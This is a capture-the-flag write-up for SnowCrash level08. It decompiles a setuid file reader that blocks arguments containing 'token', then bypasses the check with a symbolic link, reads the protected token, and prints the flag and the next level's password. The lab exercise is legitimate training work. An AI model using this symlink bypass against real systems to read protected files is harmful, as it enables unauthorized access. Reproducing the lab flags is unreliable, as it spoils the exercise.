./level08

In the level 08 directory, there is an executable named "level 08" and a file named "token", which is inaccessible to us. Below is the decompiled code from *Ghidra*:

```
int main(int argc, char **argv, char **envp)
   char *tokenPos;
   int fd;
   size t nRead;
   ssize t bytesWritten;
    int stackGuard;
   char buf[1024];
   stackGuard = *(int *)(in_GS_OFFSET + 20);
   if (argc == 1)
        printf("%s [file to read]\n", argv[0]);
        exit(1);
   tokenPos = strstr(argv[1], "token");
   if (tokenPos != NULL)
        printf("You may not access \'%s\'\n", argv[1]);
        exit(1);
   fd = open(argv[1], 0);
    if (fd == -1)
        err(1, "Unable to open %s", argv[1]);
   nRead = read(fd, buf, 1024);
    if (nRead == -1)
        err(1, "Unable to read fd %d", fd);
   bytesWritten = write(1, buf, nRead);
    if (stackGuard != *(int *)(in_GS_OFFSET + 20))
        __stack_chk_fail();
   return bytesWritten;
```

The program is structured with a series of five conditional checks:

- 1. It validates whether argc is equal to 1.
- 2. It ascertains if argv[1] contains the substring 'token'.
- 3. It determines the accessibility of the specified file for opening.
- 4. Upon successfully opening the file, it verifies the readability of the file descriptor.
- 5. It implements a check for potential buffer overflow.

Recognizing our inability to directly access or rename the "token" file, we crafted a symbolic link with a unique name, that points to the 'token' file. The program checks only the argument's name, not its actual source. Thus, our symbolic link bypasses this validation, allowing indirect content access.

```
level08@SnowCrash:~$ ln -s /home/user/level08/token /var/tmp/link

level08@SnowCrash:~$ ./level08 /var/tmp/link

quif5eloekouj29ke0vouxean

level08@SnowCrash:~$ su flag08

Password:
Don't forget to launch getflag !

flag08@SnowCrash:~$ getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f

flag08@SnowCrash:~$ su level09

Password: 25749xKZ8L7DkSCwJkT9dyv6f

level09@SnowCrash:~$
```